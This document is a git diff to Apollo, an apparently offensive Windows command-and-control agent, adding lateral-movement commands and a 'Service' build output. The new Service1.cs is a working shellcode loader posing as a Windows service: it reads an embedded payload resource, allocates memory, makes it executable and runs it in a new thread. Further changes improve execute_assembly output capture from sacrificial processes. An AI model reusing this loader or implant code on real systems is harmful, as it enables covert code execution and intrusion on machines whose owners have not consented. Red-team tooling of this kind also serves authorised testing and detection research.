diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index 1f67252d..9e51a8ee 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -4,6 +4,15 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.2.16] - 2024-10-03 + +### Changed + +- updated `jump_wmi` command +- added `jump_psexec` command +- added `Service` build option +- updated execute_assembly and sacrificial processes to hopefully capture more output consistently + ## [v2.2.15] - 2024-09-27 ### Changed diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeClient.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeClient.cs index 21845271..b5103f1f 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeClient.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeClient.cs @@ -1,5 +1,6 @@ using ApolloInterop.Constants; using ApolloInterop.Structs.ApolloStructs; +using ApolloInterop.Utils; using System; using System.IO.Pipes; @@ -50,6 +51,7 @@ public void BeginRead(IPCData pd) pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd); } catch (Exception ex) { + DebugHelp.DebugWriteLine($"got exception for named pipe: {ex}"); isConnected = false; } } @@ -57,6 +59,7 @@ public void BeginRead(IPCData pd) if (!isConnected) { pd.Pipe.Close(); + DebugHelp.DebugWriteLine($"disconnecting on named pipe"); OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State)); } } @@ -72,6 +75,7 @@ private void OnAsyncMessageReceived(IAsyncResult result) OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State)); } else { + DebugHelp.DebugWriteLine($"closing pipe in OnAsyncMessageReceived with 0 bytesRead"); pd.Pipe.Close(); } BeginRead(pd); @@ -89,6 +93,7 @@ private void OnMessageReceived(NamedPipeMessageArgs args) private void OnDisconnect(NamedPipeMessageArgs args) { + DebugHelp.DebugWriteLine($"OnDisconnect"); Disconnect?.Invoke(this, args); } } diff --git a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Program.cs b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Program.cs index 80c038bf..81f08fc1 100644 --- a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Program.cs +++ b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Program.cs @@ -134,7 +134,7 @@ public static void Main(string[] args) _cts.Cancel(); // Wait for the pipe client comms to finish - if (_clientConnectedTask is ST.Task task) + while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted) { task.Wait(1000); } diff --git a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs index 4edec4ad..02e0cd38 100644 --- a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs +++ b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs @@ -51,7 +51,8 @@ public enum LogonFlags private CancellationTokenSource _cts = new CancellationTokenSource(); - private SafeFileHandle hReadOut, hWriteOut, hReadErr, hWriteErr, hReadIn, hWriteIn, hDupWriteOut = new SafeFileHandle(IntPtr.Zero, true), hDupWriteErr = new SafeFileHandle(IntPtr.Zero, true); + private SafeFileHandle hReadOut, hWriteOut, hReadErr, hWriteErr, hReadIn, hWriteIn, hDupWriteOut = new SafeFileHandle(IntPtr.Zero, true); + private SafeFileHandle hDupWriteErr = new SafeFileHandle(IntPtr.Zero, true); private IntPtr _unmanagedEnv; #region Delegate Typedefs @@ -228,7 +229,7 @@ public SacrificialProcess( _pSetHandleInformation = (SetHandleInformation)Marshal.GetDelegateForFunctionPointer(pSetHandleInfo, typeof(SetHandleInformation)); - + _pUpdateProcThreadAttribute = (UpdateProcThreadAttribute)Marshal.GetDelegateForFunctionPointer(pUpdateProcThreadAttribute, typeof(UpdateProcThreadAttribute)); _pDeleteProcThreadAttributeList = (DeleteProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(pDeleteProcThreadAttributeList, typeof(DeleteProcThreadAttributeList)); #else @@ -255,6 +256,15 @@ public SacrificialProcess( ~SacrificialProcess() { + DebugHelp.DebugWriteLine($"hReadOut 0x{hReadOut.DangerousGetHandle():x}"); + DebugHelp.DebugWriteLine($"hWriteOut 0x{hWriteOut.DangerousGetHandle():x}"); + DebugHelp.DebugWriteLine($"hReadErr 0x{hReadErr.DangerousGetHandle():x}"); + DebugHelp.DebugWriteLine($"hWriteErr 0x{hWriteErr.DangerousGetHandle():x}"); + DebugHelp.DebugWriteLine($"hReadIn 0x{hReadIn.DangerousGetHandle():x}"); + DebugHelp.DebugWriteLine($"hWriteIn 0x{hWriteIn.DangerousGetHandle():x}"); + DebugHelp.DebugWriteLine($"hDupWriteOut 0x{hDupWriteOut.DangerousGetHandle():x}"); + DebugHelp.DebugWriteLine($"hDupWriteErr 0x{hDupWriteErr.DangerousGetHandle():x}"); + ; if (_startupInfoEx.lpAttributeList != IntPtr.Zero) { _pDeleteProcThreadAttributeList(_startupInfoEx.lpAttributeList); @@ -265,7 +275,6 @@ public SacrificialProcess( { _pDestroyEnvironmentBlock(_unmanagedEnv); } - if (Handle != IntPtr.Zero) { _pCloseHandle(Handle); @@ -360,9 +369,9 @@ bool InitializeStartupEnvironment(IntPtr hToken) DebugHelp.DebugWriteLine($"Running duplicate handles as: {WindowsIdentity.GetCurrent().Name}"); DebugHelp.DebugWriteLine("Duplicating handles"); //source process handle, source handle, target process handle, target handle, desired access, inherit handle, options - bRet = _pDuplicateHandle(currentProcHandle, hWriteOut, _hParentProc, ref hDupWriteOut, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + bRet = _pDuplicateHandle(currentProcHandle, hWriteOut, _hParentProc, ref hDupWriteOut, 0, true, DuplicateOptions.DuplicateSameAccess); DebugHelp.DebugWriteLine($"Duplicated StdOut handle normal: {bRet}"); - bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateSameAccess); DebugHelp.DebugWriteLine($"Duplicated StdErr handle normal: {bRet}"); } catch (Exception ex) @@ -560,61 +569,88 @@ private void PostStartupInitialize() { Handle = _processInfo.hProcess; PID = (uint)_processInfo.dwProcessId; - _standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); - _standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); - _standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); + //_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); + //_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); + //_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); } - private void WaitForExitAsync() + private async void WaitForExitAsync() { - Task.Factory.StartNew(() => + try { - var stdOutTask = GetStdOutAsync(); - var stdErrTask = GetStdErrAsync(); - var waitExitForever = new Task(() => - { - _pWaitForSingleObject(Handle, 0xFFFFFFFF); - }); - stdOutTask.Start(); - stdErrTask.Start(); - waitExitForever.Start(); - try - { - waitExitForever.Wait(_cts.Token); - } - catch (OperationCanceledException) + await Task.Factory.StartNew(() => { + //var stdOutTask = GetStdOutAsync(); + //var stdErrTask = GetStdErrAsync(); + //var waitExitForever = new Task(() => + //{ + // _pWaitForSingleObject(Handle, 0xFFFFFFFF); + //}); + //stdOutTask.Start(); + //stdErrTask.Start(); + //waitExitForever.Start(); + try + { + //waitExitForever.Wait(_cts.Token); + WaitHandle.WaitAny(new WaitHandle[] + { + _cts.Token.WaitHandle, + }); + } + catch (OperationCanceledException) + { - } - finally - { + } + try + { + Task.WaitAll(new Task[] + { + //stdOutTask, + //stdErrTask + }); + } + catch { } OnExit(this, null); - } - Task.WaitAll(new Task[] - { - stdOutTask, - stdErrTask }); - }); + } + catch(Exception ex) + { + DebugHelp.DebugWriteLine($"Error getting output. {ex}"); + } + } private IEnumerable ReadStream(TextReader stream) { string output = ""; - int szBuffer = 4096; + int szBuffer = 20; int bytesRead = 0; char[] tmp; bool needsBreak = false; - - while (!_cts.IsCancellationRequested && !HasExited) + do { char[] buf = new char[szBuffer]; + bytesRead = 0; try { - bytesRead = stream.Read(buf, 0, szBuffer); - } - catch { bytesRead = 0; } + DebugHelp.DebugWriteLine($"About to call stream.Read"); + Task readTask = stream.ReadAsync(buf, 0, szBuffer); + Task.WaitAny(new Task[] + { + readTask, + }, _cts.Token); + if (readTask.IsCompleted) + { + bytesRead = readTask.Result; + } + //bytesRead = stream.Read(buf, 0, szBuffer); + } + catch (Exception ex) + { + DebugHelp.DebugWriteLine($"Error calling stream.Read. {ex}, {bytesRead}"); + } + DebugHelp.DebugWriteLine("Finished stream.Read."); if (bytesRead > 0) { tmp = new char[bytesRead]; @@ -622,29 +658,35 @@ private IEnumerable ReadStream(TextReader stream) output = new string(tmp); yield return output; } - } + } while (!_cts.IsCancellationRequested); + output = ""; try { - output = stream.ReadToEnd(); + DebugHelp.DebugWriteLine("About to call stream.ReadToEnd."); + //output = stream.ReadToEnd(); } catch { } if (!string.IsNullOrEmpty(output)) { yield return output; } - + DebugHelp.DebugWriteLine("Returning from ReadStream."); + yield break; } private Task GetStdOutAsync() { return new Task(() => { + DebugHelp.DebugWriteLine("Starting GetStdOutAsync."); foreach (string s in ReadStream(_standardOutput)) { StdOut += s; + DebugHelp.DebugWriteLine("Got Data on GetStdOutAsync."); OnOutputDataReceived(this, new StringDataEventArgs(s)); } + DebugHelp.DebugWriteLine("Finished GetStdOutAsync."); }); } @@ -652,11 +694,14 @@ private Task GetStdErrAsync() { return new Task(() => { + DebugHelp.DebugWriteLine("Starting GetStdErrAsync."); foreach (string s in ReadStream(_standardError)) { StdErr += s; + DebugHelp.DebugWriteLine("Got Data on GetStdErrAsync."); OnErrorDataRecieved(this, new StringDataEventArgs(s)); } + DebugHelp.DebugWriteLine("Finished GetStdErrAsync."); }); } diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1.sln b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1.sln new file mode 100755 index 00000000..0fbec120 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 17.8.34525.116 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsService1", "WindowsService1\WindowsService1.csproj", "{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.Build.0 = Release|Any CPU + {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.ActiveCfg = Release|x64 + {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {C5331E46-D53B-4B47-942A-343CB750F8BB} + EndGlobalSection +EndGlobal diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Program.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Program.cs new file mode 100755 index 00000000..0b9c349e --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Program.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.ServiceProcess; +using System.Text; + +namespace WindowsService1 +{ + static class Program + { + /// + /// The main entry point for the application. + /// + static void Main() + { + ServiceBase[] ServicesToRun; + ServicesToRun = new ServiceBase[] + { + new Service1() + }; + ServiceBase.Run(ServicesToRun); + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/AssemblyInfo.cs new file mode 100755 index 00000000..5de442a6 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("WindowsService1")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("WindowsService1")] +[assembly: AssemblyCopyright("Copyright © 2020")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("0405205c-c2a0-4f9a-a221-48b5c70df3b6")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.Designer.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.Designer.cs new file mode 100755 index 00000000..48159a95 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.Designer.cs @@ -0,0 +1,73 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace WindowsService1.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("WindowsService1.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] loader { + get { + object obj = ResourceManager.GetObject("loader", resourceCulture); + return ((byte[])(obj)); + } + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.resx b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.resx new file mode 100755 index 00000000..16b70760 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\loader.bin;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Resources/loader.bin b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Resources/loader.bin new file mode 100644 index 00000000..0c451d08 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Resources/loader.bin @@ -0,0 +1 @@ +WRAPPED_PAYLOAD_HERE diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.Designer.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.Designer.cs new file mode 100755 index 00000000..d9b08532 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.Designer.cs @@ -0,0 +1,37 @@ +namespace WindowsService1 +{ + partial class Service1 + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + //this.ServiceName = "Service1"; + } + + #endregion + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.cs new file mode 100755 index 00000000..90b5d271 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.cs @@ -0,0 +1,139 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Linq; +using System.ServiceProcess; +using System.Text; +using System.Runtime.InteropServices; +using System.IO; +using System.Runtime; +using System.Timers; +using static WindowsService1.Service1; +namespace WindowsService1 +{ + public partial class Service1 : ServiceBase + { + private static UInt32 MEM_COMMIT = 0x1000; + private static UInt32 PAGE_READWRITE = 0x40; + private static UInt32 PAGE_EXECUTE_READ = 0x20; + [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] + private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); + [DllImport("kernel32")] + private static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); + [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] + private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParam, uint dwCreationFlags, ref uint lpThreadId); + [DllImport("kernel32")] + private static extern UInt32 WaitForSingleObject( + IntPtr hHandle, + UInt32 dwMilliseconds + ); + public enum ServiceState + { + SERVICE_STOPPED = 0x00000001, + SERVICE_START_PENDING = 0x00000002, + SERVICE_STOP_PENDING = 0x00000003, + SERVICE_RUNNING = 0x00000004, + SERVICE_CONTINUE_PENDING = 0x00000005, + SERVICE_PAUSE_PENDING = 0x00000006, + SERVICE_PAUSED = 0x00000007, + } + + [StructLayout(LayoutKind.Sequential)] + public struct ServiceStatus + { + public int dwServiceType; + public ServiceState dwCurrentState; + public int dwControlsAccepted; + public int dwWin32ExitCode; + public int dwServiceSpecificExitCode; + public int dwCheckPoint; + public int dwWaitHint; + }; + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool SetServiceStatus(System.IntPtr handle, ref ServiceStatus serviceStatus); + private EventLog _eventLog1; + public Service1() + { + //_eventLog1 = new EventLog(); + //if (!EventLog.SourceExists("ApolloLog")) + //{ + // EventLog.CreateEventSource("ApolloLog", "MyApolloLog"); + //} + //_eventLog1.Source = "ApolloLog"; + //_eventLog1.Log = "MyApolloLog"; + //_eventLog1.WriteEntry($"about to initialize"); + InitializeComponent(); + } + protected override void OnStart(string[] args) + { + //_eventLog1.WriteEntry($"OnStart"); + ServiceStatus serviceStatus = new ServiceStatus(); + serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING; + //serviceStatus.dwWaitHint = 100000; + SetServiceStatus(this.ServiceHandle, ref serviceStatus); + Timer timer = new Timer(); + timer.Interval = 1000; + timer.AutoReset = false; + timer.Elapsed += new ElapsedEventHandler(this.OnTimer); + timer.Start(); + } + protected override void OnStop() + { + + } + public void OnTimer(object sender, ElapsedEventArgs args) + { + ServiceStatus serviceStatus = new ServiceStatus(); + serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING; + SetServiceStatus(this.ServiceHandle, ref serviceStatus); + byte[] shellcode = GetResource("loader"); + if (shellcode.Length > 0) + { + //_eventLog1.WriteEntry($"shellcode length: {shellcode.Length}"); + IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MEM_COMMIT, PAGE_READWRITE); + if (funcAddr != IntPtr.Zero) + { + //_eventLog1.WriteEntry($"funcAddr: {funcAddr}"); + Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length); + IntPtr hThread = IntPtr.Zero; + UInt32 threadId = 0; + IntPtr pinfo = IntPtr.Zero; + uint oldprotection; + bool success = VirtualProtect(funcAddr, shellcode.Length, PAGE_EXECUTE_READ, out oldprotection); + if (success) + { + hThread = CreateThread(IntPtr.Zero, UIntPtr.Zero, funcAddr, pinfo, 0, ref threadId); + //_eventLog1.WriteEntry($"created thread: {hThread}"); + WaitForSingleObject(hThread, 0xFFFFFFFF); + //_eventLog1.WriteEntry($"thread exited"); + } + else + { + //_eventLog1.WriteEntry($"failed to do virtual protect: {success}"); + } + } + else + { + //_eventLog1.WriteEntry($"failed to do virtual alloc: {funcAddr}"); + } + + } + + } + private static byte[] GetResource(string name) + { + string resourceFullName = null; + if ((resourceFullName = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames().FirstOrDefault(N => N.Contains(name))) != null) + { + + Stream reader = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName); + byte[] ba = new byte[reader.Length]; + reader.Read(ba, 0, ba.Length); + return ba; + } + return null; + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/WindowsService1.csproj b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/WindowsService1.csproj new file mode 100755 index 00000000..a244e14f --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/WindowsService1.csproj @@ -0,0 +1,46 @@ + + + + net451 + Exe + 12 + enable + false + AnyCPU;x64;x86 + False + False + + + + + + + + + + + + + True + True + Resources.resx + + + Component + + + Service1.cs + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + + + Always + + + \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_assembly.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_assembly.cs index eb3ab8a0..35bfe7ed 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_assembly.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_assembly.cs @@ -20,6 +20,7 @@ using ApolloInterop.Structs.ApolloStructs; using ApolloInterop.Classes.Core; using ApolloInterop.Classes.Collections; +using ApolloInterop.Utils; namespace Tasks { @@ -64,6 +65,7 @@ internal struct ExecuteAssemblyParameters private Action _flushMessages; private ThreadSafeList _assemblyOutput = new ThreadSafeList(); private bool _completed = false; + private System.Threading.Tasks.Task flushTask; public execute_assembly(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) { @@ -79,7 +81,22 @@ public execute_assembly(IAgent agent, MythicTask mythicTask) : base(agent, mythi }); if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); + try + { + ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); + } + catch + { + ps.Close(); + _complete.Set(); + return; + } + + } else if (!ps.IsConnected) + { + ps.Close(); + _complete.Set(); + return; } } ps.Close(); @@ -95,7 +112,7 @@ public execute_assembly(IAgent agent, MythicTask mythicTask) : base(agent, mythi { _complete, _cancellationToken.Token.WaitHandle - }, 1000); + }, 2000); output = string.Join("", _assemblyOutput.Flush()); if (!string.IsNullOrEmpty(output)) { @@ -106,23 +123,34 @@ public execute_assembly(IAgent agent, MythicTask mythicTask) : base(agent, mythi "")); } } - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) + while (true) { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); + System.Threading.Tasks.Task.Delay(1000).Wait(); // wait 1s + output = string.Join("", _assemblyOutput.Flush()); + if (!string.IsNullOrEmpty(output)) + { + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + output, + false, + "")); + } else + { + DebugHelp.DebugWriteLine($"no longer collecting output"); + return; + } } + }; } public override void Kill() { _completed = true; - _cancellationToken.Cancel(); _complete.Set(); + flushTask.Wait(); + _cancellationToken.Cancel(); + } public override void Start() @@ -219,7 +247,6 @@ public override void Start() _senderEvent.Set(); WaitHandle.WaitAny(new WaitHandle[] { - _complete, _cancellationToken.Token.WaitHandle }); @@ -245,16 +272,18 @@ public override void Start() private void Client_Disconnect(object sender, NamedPipeMessageArgs e) { - e.Pipe.Close(); _completed = true; - _cancellationToken.Cancel(); _complete.Set(); + flushTask.Wait(); + e.Pipe.Close(); + _cancellationToken.Cancel(); + } private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) { System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); + flushTask = System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); } public void OnAsyncMessageSent(IAsyncResult result) @@ -263,8 +292,16 @@ public void OnAsyncMessageSent(IAsyncResult result) // Potentially delete this since theoretically the sender Task does everything if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) { - pipe.EndWrite(result); - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); + try + { + pipe.EndWrite(result); + pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); + } + catch + { + + } + } } @@ -272,6 +309,7 @@ private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) { IPCData d = e.Data; string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); + DebugHelp.DebugWriteLine($"adding data to output"); _assemblyOutput.Add(msg); } } diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 6c1441cb..0079fd4d 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -21,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.15" + version = "2.2.16" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """ @@ -32,9 +32,9 @@ class Apollo(PayloadType): BuildParameter( name="output_type", parameter_type=BuildParameterType.ChooseOne, - choices=["WinExe", "Shellcode"], + choices=["WinExe", "Shellcode", "Service"], default_value="WinExe", - description="Output as shellcode, executable, or dynamically loaded library.", + description="Output as shellcode, executable, or service.", ) ] c2_profiles = ["http", "smb", "tcp", "websocket"] @@ -43,8 +43,9 @@ class Apollo(PayloadType): agent_icon_path = agent_path / "agent_functions" / "apollo.svg" build_steps = [ BuildStep(step_name="Gathering Files", step_description="Copying files to temp location"), - BuildStep(step_name="Compiling", step_description="Compiling with nuget and msbuild"), + BuildStep(step_name="Compiling", step_description="Compiling with nuget and dotnet"), BuildStep(step_name="Donut", step_description="Converting to Shellcode"), + BuildStep(step_name="Creating Service", step_description="Creating Service EXE from Shellcode") ] async def build(self) -> BuildResponse: @@ -164,7 +165,7 @@ async def build(self) -> BuildResponse: shutil.move("{}/Release/ExecutePE.exe".format(agent_build_path.name), targetExecutePEPath) 